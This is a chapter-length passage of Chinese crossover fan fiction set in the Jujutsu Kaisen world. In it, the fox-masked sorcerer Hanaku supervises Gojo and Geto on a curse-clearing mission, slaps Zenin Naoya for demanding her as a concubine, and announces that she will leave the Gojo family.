名叫惠的小孩子穿着黄色的郊游小衣服,头上还盖着一顶圆圆的帽子,胸前还系着口水巾,头发炸炸的,看起来像个小海胆,肉嘟嘟的可爱脸蛋上表情很淡定,睫毛长得像女孩子。
似乎发现花九在观察他,炸毛小海胆便平静的抬起头,目光直直的落在她耳朵上,毫不犹豫的伸手要她抱。
“想咬耳朵。”他说话还有点不太清楚,软软的。
这是能随便咬的东西吗?!觉得耳朵一阵幻痛的花九连忙像丢烫手山芋那样把孩子塞回了禅院和穗怀里。
不出意外的话,她之后没有其他事应该不会来拜访禅院家了。
“……事情就是这样,她一个喜欢玩cosplay,外貌特征很明显的小女孩子万一被那两个人记恨上怎么办?如果她打电话向你求助,我希望你能第一时间赶过去帮她。”
在那只金毛狐狸找理由狼狈溜走以后,禅院甚尔听到自家妻子如此嘱咐自己。
他露出有些古怪的表情:“没开刃的道具太刀?只是把那两个人打跑了?我保护她?”
她还真是张口就来。
好消息:她没透露她的身份。
坏消息:她没透露她的身份。
“知道了,如果有需要的话,我会好好【保护】她的。”
看着妻子期待的脸,他最终还是许下了承诺。
*
“大人,回程的机票还是按原时间订吗?”
包裹在黑色皮革的修长手指按在耳麦上,轻点两下。
“啊,推迟一点也没关系,正好我也想多尝尝东京的好酒,放你们半天假,回去休息吧。”
说话的人在人来人往的街头抬起脸,露出一张漂亮到极富攻击性的脸,自然卷翘的橘发垂在脸侧,反而更添凌厉,身披黑色风衣的桀骜青年开始迈步往离这里最近的居酒屋走去。
这是中原中也在这边出差的第三天。
要接头的交易已经谈妥了,不出意外的话这两天就能回横滨了。
但中也挺喜欢这个地方,也享受在繁忙工作后来之不易的闲暇时光,所以他并没有急着继续推进行程。
啊,红叶大姐似乎提过有想要的伴手礼,晚点让手下去买吧,上次见面时太宰也提过一嘴,但据说地理位置非常偏僻,不过中原中也不打算理会他聒噪的要求。
他又不是那条死青花鱼的监护人,会惯着他跑老远去买伴手礼。
啊,不过,算算时间,那家伙的监护人走了也有八年了吧?除了偶尔看到他出现在墓园对着墓碑说话以外,他似乎已经很久没有提到过这个人了。
如果那个人还在人世的话……
想到这里,中原中也的脚步渐渐慢了下来,他下意识往周围看了一眼,然后反应过来之后又觉得自己好笑,可能是太累了,偶尔竟然也会有些不切实际的幻……
下一秒,中原中也的身体骤然僵住了。
他看到人群里有一个熟悉的背影,瘦削,但脊背挺得笔直,绸缎般的金发柔软的散落下来,头顶是对毛茸茸的、会让人怀疑是错觉的狐耳。
这个非人的特征……
他不假思索的奔向了那个方向,大吼出声:“等等!”
开什么玩笑?!
死去的人又怎么会突然复活??而且出现在其他城市??
然而那里已经空无一人,刚才那个熟悉的身影仿佛只是他的一场错觉,中原中也勉强压抑下不平静的呼吸,站在原地拨出去了一个号码。
“哟,事先说明,如果在那边遇到什么麻烦,我可是不会帮你的哦,毕竟帮自己敌对组织的人的忙未免也太差劲了呢~”
熟悉的、轻佻的声音从那头传来。
这个混蛋厚着脸皮找自己要伴手礼的时候可没说帮忙会很差劲!
中原中也深吸一口气,强忍着怒气说道:“我好像看到王小姐了。”
电话那头瞬间静了几秒。
过了几秒钟,太宰治漫不经心的声音才慢悠悠的从那头传过来:
“今天难道是什么愚人节吗?还是说你连轴转这么多天终于把自己熬出幻觉了?不能讳疾忌医哦,蛞蝓。”
是轻慢的、但细细听来却透着冷意的声音。
第一反应是动怒的中原中也这次却无视了他的嘲讽,在这种大事上终究还是选择了耐着性子:
“我可以确定我看到她了,在东京的商业街这里,你最好祈祷我不是幻觉,因为我还没有糊涂到连金发狐狸耳加面具脸这种小孩见到都印象深刻的特征都能认错。”
“……”
这一次,电话那头沉默了很久,只余原本平稳、却在一瞬间仿佛连接了痛觉,突然急促起来的呼吸声。
19.第 19 章
花九总觉得有人在念自己,因为这几天她已经打了好多个喷嚏。
这种情况还要工作实在太讨厌了,她紧紧抓住车门,不愿意被五条悟拖下去。
“我只是来给佐川小姐代班的,放完帐我还有其他安排。”
其实没有,但今天谁也别想让她从车里出去!
闻言,个高腿长且十足美貌的白发dk露出不满的表情:
“拜托,这可是我第一次出任务,你不应该全程陪同,然后在我帅气的大杀四方的时候在旁边鼓掌说少爷实在太厉害了吗?”
花九用无法理解的眼神看了他一眼:“这难道是你第一次杀咒灵吗悟少爷,一个二级的任务还要我陪同不觉得太幼稚了吗?”
“虽然我不赞成他的话,但是我也希望这种特殊的场合能有老师陪同,可能因为你在我会更有安全感吧。”
夏油杰难得配合五条悟的发言,又开始露出那副让她不知道怎么拒绝的垂眼低落善解人意三件套套餐了。
花九仍在负隅顽抗:“你们长大了,有什么事应该学会自己面对了。”
总是依赖长辈像什么话!
但鉴于车内实在没什么发挥空间,五条悟根本不在意这点损失,但不代表花九想毁了佐川小姐刚提的新车。
加上这个位置根本不好发力,花九最终还是像地里一棵铁骨铮铮的白萝卜,被五条悟双手穿过腋下‘拔’出去了。
“……”
讨厌!可恶!大坏猫!今天就把他挂转转当二手机卖了!!
习惯了面无表情的少女深吸一口气,面对期待、淡然、兴致勃勃三张不同表情的脸最终还是说不出什么更耍脾气的话,于是只得恹恹的和他们一起进入帐内。
任务地点是个空旷的街区,污水横流,设施陈旧,在三人经过的地方,一块摇摇欲坠的广告牌承担不了压力,在他们经过时重重的砸在地上,仿佛某种无形的警告,旁边恶臭的巷子里迅速闪过一个畸形的身影。
这个地方前身是施工到一半的烂尾楼,在频繁死人、加上工程款没拨下来,最终还是成了没人接手的烫手山芋,属于咒灵很多,但等级普遍不太高的地方,适合练手。
在这样压抑的环境里,空气似乎都变得粘稠阴冷,一点点侵袭进人体。
“我刚刚好像看到有个影子进了左边的拐角。”
夏油杰突然出声,众人顺着他的视线看过去,确实注意到了地面上那点可以忽略不计的咒力残秽。
但正将双手架在脑后的五条悟却偏要唱反调,只见他懒洋洋的提高了声音:
“那顶天只是三级咒灵吧?还是说你一个人解决不了?啊对,我忘记二级也没多高了。”
花九奇怪的看了他一眼,觉得这猫怎么回回火药味都这么重,气糊涂了连尝试都忘了。
“区别还是很大的,杰少爷是准一级,悟少爷。”
五条悟的超高防御瞬间破了:“你记得家入是三级就算了,记他的学生证等级做什么?!”
“?”又在无理取闹了,你们年级总共就你们三个人,等级这个东西难道很难记吗?
夏油杰狭长的眼眸微微眯起,露出温和的、善解人意的笑容:“没关系的,老师,你不用替我说话,他只是说话比较直接,还不能算是我的对手。”
这话就是在明晃晃的挑衅了,五条悟看他一眼,忽的冷笑一声:“挥挥手就能解决的一群杂鱼,我确实觉得不需要抱团来车轮战。”
这俩一对上就跟掐架的小学鸡没什么区别,这点花九早点领教过了。
而家入硝子在旁边拉了拉花九的衣袖:“我会变强的,以后我会变得比他们两个更强。”
花九安抚的摸摸她的脑袋:“可是硝子会反转术式,本身已经很了不起了呀,已经是咒术界不可多得的人才了,刚入学的评级不能说明什么啦。”
事实证明,夏油杰和五条悟虽然都是咒术界不可多得的天才,但是两人的作战风格都更偏向于单打独斗,属于只想自己c带飞全场,从他们玩游戏都喜欢玩打野游走就能看出来。
再加上两人年纪相仿,都处于争强好胜的年纪,所以场面一度演变成打咒灵打到一半开始互殴的局面。
就像现在。
碎石横飞,尘土四溅,本来就摇摇欲坠的建筑物成了年轻气盛的出气筒,躲在里面的咒灵也惨遭魔爪,刚露头就被顺手祓除掉了。
承重柱发出让人毛骨悚然的声音。
“喂喂,你们都没发现吗?楼快塌了。”
这种情况下,家入硝子用手掌当成扩音器放在唇边,但她的声音也被淹没在打斗声里。
话音刚落,家入硝子腰身上便多了股力道,有柑橘味的香气侵入鼻腔。
——是花九抱住了她。
硝子一愣,就听到头顶的破风声,视线晃了晃,面对面前的半边废墟,她慢半拍的眨了眨眼,这才意识到对方在房子塌了的前一秒把自己抱走了。
至于那两个罪魁祸首,已经被埋在底下了。
“……”
最后还是五条悟先钻了出来。
白毛蓝眼的男高中生从残渣里冒出个头,即使有无下限的加持,但他依然嫌弃的挥了挥周边因为塌方扬起的灰尘,路上一直戴着的圆片墨镜在刚刚的打斗中早不知道丢到哪儿去了,露出美得惊人的钴蓝色眼眸。
下一秒,他的视线便精准的落到了一旁毫发无损的硝子和花九身上。
刚闯完祸的鸡掰猫:“?”
他要闹了!!!
比他晚探头,同样被埋在废墟底下的夏油杰就狼狈多了,他拍着校服上的灰,瞥他一眼就知道他在想什么,于是毫不留情的揭穿了他的心理活动。
“你是什么离不开监护人的小婴儿吗?”
……
如果说之前只是打塌了天台和半边房子,这下就是全塌完了。
“啊,又打起来了,姐姐,我们可以直接丢下他们走掉吗?”硝子举起手,诚心发问。
“理论上是可以的,如果我不是你们的辅助监督的话。”
孩子听话老不好,打一顿就好了。
所以……
花九毫不犹豫的冲向了没注意这边的黑发少年,毫不犹豫的对其发起了袭击!
被突袭的夏油杰面露愕然,险之又险的避开了少女来势汹汹的一刀,校服被刀锋割开一角,他瞳孔骤缩,身后升起黑色浓雾,从中爬出的咒灵撕咬向对方,被花九一刀从中开膛破肚。
花九手握太刀的动作随意,但战斗姿态冷酷而熟练,像个经验丰富的刽子手。
下一刻,被忽视的五条悟的身位已经近在咫尺。
“欸?是想一起打吗?只看着他的话——我可是会吃醋的哦。”
少年的笑声听来尤其狂妄肆意。
花九敏捷地后退,但五条近身时丝毫不给机会,她被对方一脚踹飞了出去。
视野飞速后退,花九姿势灵巧,转为单手握住刀柄,直接面不改色将太刀扔向了试图追击上来的五条悟。
寒凉的刀锋险险停在无下限外,花九的手已经放在了夏油杰肩上。
“好了,到此为止,休战。”
*
用一点小手段制止了两个人以后,一行人选择了继续往前。
途中,花九注意到了来自某条小巷子的哭声。
虽然已经确定过这附近都被提前清场了,但难保不会有漏网之鱼,花九看了眼正在清理咒灵的三个学生,决定自己去看看。
眼见着距离已经很近了,拐个弯就能——
就能……
花九脚下一顿。
空无一人的小巷中间只摆着一台老式录音机,正机械循环播放着小孩的哭声,因年久失修而有些断断续续,传到耳中愈发尖锐起来,
“……被骗了啊。”
戴着狐狸面具的少女有些郁闷的俯下身按停了收音机。
哭声戛然而止,肩膀突然一凉,有粘稠的黑色水液同时滴落下来。
花九慢慢的转过身,终于看清那片笼罩了整个小巷的阴影,眼前有着婴孩细细哭声、被诸多残肢拼接起的,分明是一大滩黑色的正在蠕动的胎盘肉团——
!
肉团似乎察觉到她的视线,猛地兴奋了起来,身躯上裂开许多细缝,睁开一双双眼睛,爆满红血丝的眼珠神经质的在眼眶里乱转。
在与她对上视线的瞬间,它发出了高昂而诡异的呼唤。
“妈、妈妈……抱……”
花九不慌不忙,拔刀准备迎战。
但是下一秒,左腿膝盖关节处和右臂肘部传来咔嚓一声,像是很久没被上机油以至于咬合失败的齿轮,花九握刀的手瞬间失去力道,尝试抬腿依然无果。
……咦?
这反常的情况让花九微微一怔。
但咒灵不会因为你突然停下来就放弃杀死你,同一瞬间,躯体上浮肿的婴儿小手已经敏捷抓住了少女瘦削的肩膀,张开满嘴触目惊心的利齿。
她伸手阻挡,便有长指甲划破了她的掌心,鲜血淋漓——
“你愣着做什么?!”
一声训斥插进来,打断了她茫然的思绪,花九抬起头,看到了面前的五条悟。
咒灵的尸体倒在地上,而五条悟脸色很不好看的走过来,捞起她的手掌翻来覆去的检查,看到血肉模糊的掌心时,脸色明显更不好看了。
花九有些不知道怎么跟五条悟解释自己的情况,在短暂的愣怔后,她发现自己的腿脚恢复了知觉,刚刚的腿脚失灵仿佛只是昙花一现。
“这其是给你临场反应的考验,悟少爷。”
最终,她找了个相对合理的理由。
五条悟盯着她,明显不信,但看她有些抗拒的样子,终究还是没有多说,只是在给她简单包扎了之后,清理咒灵的效率明显变高了。
很快,这一带的咒灵都被顺利祓除掉了。
作为此行的辅助监督,花九回去还要写一份任务报告提交上去,想到今天原本的目的,花九拒绝了五条悟发起的一起回去的邀请,前往了禅院家,这次会议的地点。
这几年经常因为各种原因来到这里,花九不需要人带路也早已轻车熟路,当然,包括人也是,所以在看到熟人的时候,她并没有惊讶。
远远地,她便看到那个身着黑色羽织,长相十分美丽的金发少年正被众星捧月的走过来,他漫不经心的偏头听旁人说话,眼珠移向狭长的眼尾,透出点傲慢的冷意。
如果按照正常的发展,她只会与对方平平淡淡的擦肩而过。
……但对方显然不会那么安分,尤其是禅院直哉这样越长大越向着她讨厌的方向发展的人。
果然,在看到她以后,这位禅院家的小少爷便停下了脚步,脸上浮现颇有兴味的笑容。
“这次的会议这么重要,五条悟没跟你一起来?”
五条悟不喜欢这种无聊的场合,除了必须出席的时候,其余大部分时间都是花九来代替他和这些腐败的烂橘子社交,一直以来都是这样,所以他在这时候故意提起五条悟,就显得很可疑了。
明明这几年一直相安无事,这个节骨眼突然发疯是想干什么,花九不动声色的看着他,不知道他葫芦里卖的什么药。
这反应落在禅院直哉眼里,俨然就是另一种含义上的默认。
他旁若无人的走上前,轻浮又大胆地将手放在了花九肩上。
“啊,确实,你现在应该还不清楚,不过你应该知道那些老头子正在给五条悟找通房吧?”
当然知道,像这种封建大家庭,不仅有通房,还要挑选身世、容貌、能力各方面都匹配的优秀女性,经过重重筛选后,也只勉强够资格当个候选。
五条悟在这样的家庭里长大,本身很厌恶这些东西,从来不关心这些看来很无聊的东西,就算真被往房里塞了人,也会被他原封不动的送回去。
……算算次数,这好像已经是第八次了,那些人还没死心吗?
花九思考了一下,觉得这种事发生的太普遍,如果禅院直哉只是想跟他说这些,她只会觉得对方在浪费她的时间讲一些没有意义的废话。
所以她选择了单刀直入:“直哉少爷想跟我说的只是这个吗?”
“当然不是这个,你猜,我跟那些老头子说了什么?”
金发少年笑了,不加掩饰的恶意从那艳丽的眼角眉梢流露出来,让人无端联想到剧毒的花,他旁若无人的靠近花九,社交距离被瞬间拉近,花九不自觉地蹙起眉头,就听到他笑吟吟的说了下去。
“——我向他们讨要你,做我的通房。”
咒术师是存在等级差距的,像花九这样的特级咒术师更是寥寥无几,哪怕禅院直哉本身也很有天赋,但是他也没有资格找长老让把一个特级咒术师塞给他,仅仅是为了做通房。
这无疑是一种充满侮辱和轻看的行为。
……但禅院直哉还真不觉得自己这样有什么不对。
作为御三家之一的禅院家,家族里的孩子会在4-6岁觉醒术式,禅院直哉觉醒了不错的能力,被称为天才的他顺理成章拥有了很多东西,被千娇百宠的养大。
禅院直哉怎么会不清楚特级的含金量呢,他不是看轻特级,只是看轻身为特级的女人。
女性,是娇柔的附属品,是天生该跟在男人后三步的花瓶,而不够美丽温顺的花瓶被评头论足也是理所当然的事。
但花九可以是那个例外,她是少数能让禅院直哉提起兴趣的存在,虽然在他看来花九的花瓶作用也大于她本人的能力。
事实证明,花九几年前的那几巴掌并巴掌并没有扇醒他。
距离太近,禅院直哉死死盯着她的眼睛,终于从那双鎏金色的美丽眼眸里看到了因他产生的情绪波动。
奇异的快感顿时充盈了他的胸腔,这种快感甚至比得上他叛逆的染发打耳钉时的快乐。
花九的声音听不出情绪:“直哉少爷说完了?”
看看,果然生气了。
禅院直哉露出发自内心的开心笑容:“我知道你想说什么,但很可惜,他们驳回了我的想法。”
他话锋一转。
“……却不是因为多在意你的看法。”
花九终于从他的话中听出了一丝不对劲。
“五
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条悟那么多任通房都没让他看上眼,那都无所谓,反正他的正妻位置还空着,不是么?”
“……”
花九怔住了,掌心的伤口突然刺痛了一下,让她下意识动了动手指。
这个恍惚的反应没能逃过禅院直哉的眼睛,他抬头替她理了理垂落肩头的金发,语气是拿捏得恰到好处的温柔:
“同样是做正妻,为什么不来做我的正妻呢?如果你能少舞刀弄枪,学会怎么讨好我的话,或许我可以因为你,勉强放低一些标准。”
然而花九叫了他的名字,和以往不一样,她这次是直呼其名。
“禅院直哉。”
“嗯?你这样很没有规矩……”
回应他的,是一个响亮的耳光,金发少年甚至被扇得微微偏过头去,脸颊顿时红肿了起来。
四周顿时鸦雀无声。
……?
在意识到发生什么之后,禅院直哉美丽的脸因为愤怒扭曲了。
又一次、这女人时隔几年又一次打了他!
他还不够放低自己的身段么??还是女人这种生物就不应该惯着?
“我前几年前就说过吧。”面前的狐面少女声音冷冷清清的,毫无起伏。
“再让我听到你这种发言,我就把你打破相塞进男人肚子里,禅院直哉,从现在开始,之后我见你一次,就打你一次。”
……
也许是因为白天发生的事,当天回去的时候五条悟就做了个噩梦。
他又梦到了花酱。
但梦里的少女和他印象里的样子截然不同,她撑着半截刀柄半跪在地上,从来不离身的面具跌在地上,同伤痕累累的太刀一同四分五裂,有水珠坠落在干燥的地面上,将其晕染出一小块深色。
有声音告诉他这时候该抬头,但当五条悟尝试抬起视线,却发现自己无法做到,他只能不受控制的看到她垂在身侧握成拳的手因为用力过度变形,然后因为脱离慢慢松开了。
他看不到她在梦里的脸。
……
五条悟惊醒了。
虽说前几年就经常会莫名其妙梦到她,但这次发现梦到花九在自己的梦里死了这个事实过于糟糕,再加上这个梦的细节过于真实,让五条悟本能的感觉有哪里不太对劲。
……果然是因为白天她突然站在那里发呆然后被咒灵袭击的一幕让他产生了一些不好的联想,所以才会做这么真实的噩梦么?
白发蓝眸的少年下意识环顾了一下四周,突然反应过来这是在学校宿舍,有些烦躁的抓了抓头发,有些不太习惯这样的寂静。
明明是按照自己的意愿脱离了御三家,但住宿的晚上,他还是不受控制的失眠了。
如果能让花酱做他的陪读就好了,禅院直哉那家伙都能留在高专做体术老师,就不能让她像其他辅助监督那样也来教课吗?
想到这里,他更不爽了,于是五条悟打开手机,给花九编辑了几条短信发了过去。
……说实话,五条悟不觉得自己对她的独占欲有什么错。
原本就是她擅自闯入他的生活,说着什么要陪伴他要替他扫除障碍,这一待就是这么多年,事到如今,要分开才觉得奇怪吧?
至少在他完全明白内心奇怪的感觉前,花九不应该、也不能就这样从他的生活里消失。
按照六眼绝佳的视力即使不开灯也能看清东西,所以当手机陷在被子里轻微震动了一下时,五条悟第一时间就注意到了。
少年冷白修长的手指随意的抓起手机解锁,五条悟像只慵懒的大猫咪,随手塞了个枕头用下颌压着,屏幕上赫然显示着来自花九的回复,他开始一条一条的看了起来。
【很无聊,睡不着,要不我半夜随机潜入一个烂橘子家里把他叫醒吧?那些老头一会儿忧心这个一会儿忧心那个,也没见影响他们的睡眠质量】
【学校离市中心太远了,我想吃我们常去的那家甜品店这两天才上新的新款,你明天过来的时候替我带过来吧?】
【今天那边也叫你去开会了吧?我猜又是那些陈芝麻烂谷子的破事,我说,下次就别浪费时间迎合那些老头子了,他们又不给你开工资】
下面是花九的回复,她逐条回复消息的风格也很严谨。
“请不要这样做,悟少爷,我也不想半夜睡觉的时候被抓起来让我加强关于你的教育问题。”
“我明天有其他安排,甜品我会安排认识的辅助监督来学校的时候顺路带给你的,但是不要以‘不够酥不够脆不够软不够好吃放凉了太烫了’等等理由为难辅助监督先生,他和我一样,只是个可怜的打工人。”
“关于会议,下次请你自己来开,我已经强调过很多次了,我的工作内容不包含替雇主开会,就算给我涨工资也不可以。”
五条悟以前就发现了,花九在回复短信或者重要邮件的时候,语气总是很公事公办,和她本人在正经场合表现得一样无趣,但本人偏偏又不是这么回事。
突然,他的手指顿住了。
那是针对他最后一句问题发言的回复。
【花酱~~~再不回我我就要给你打电话了哦,起码说点什么能哄我开心的话吧?】
她的回复是:
“晚安,如果真的睡不着的话,我会考虑你说的第一个提议的,但记得挑我外出不在家的时候。”
她不知道发生了什么,但还是认真且诚恳的回复了他,有种一本正经的可爱。
……一直蒙在心头的阴影终于稍稍散开了些。
他果然还是不能接受花酱离开自己,等下次有机会,再找本人当面确认一下吧。
*
四面八方的声音像是潮水一样淹没了花九,但这一次却尤其让人觉得窒息。
虽然不是仅仅针对她个人的会议,但花九依然能感受到,即使隔着厚重的屏风,但众人的视线依然隐晦的落在了她的身上,像是评估一件商品的合格程度。
花九在思考,思考究竟是哪个环节出了问题。
她与神明定下束缚,承诺会为五条悟扫除障碍,但现如今的她似乎反而成为了对方的绊脚石。
果然还是应该避嫌吧,悟少爷一直在尝试脱离御三家,拒绝听从他们的安排,靠打所谓的感情牌让她成为对方新的阻碍,这恐怕不是她想看到的、或者说神明想看的结果。
她想给五条悟真正的自由,她觉得他不应该被约束。
在花九沉思的时候,周围的声音依然没有停下来。
但他们并不像禅院直哉那样直接,诸多发言也顶多只能算是旁敲侧击,但字里行间透露出的傲慢无一不和禅院直哉的话对应上。
在被问到“你对悟持有什么样的态度,身为最了解他的人你是否考虑过他的未来”时,花九轻轻叹了口气。
摈弃滴水不漏的面具,这是她第一次明晃晃的在这些人面前表现出了厌倦和不耐。
“抱歉,我这次来,也是因为有个重要的决定不得不告诉诸位。”
她抬起眼,眼神清醒无比,语气虽不重,却掷地有声。
“——我将卸任并移交现有的权限,然后离开五条家。”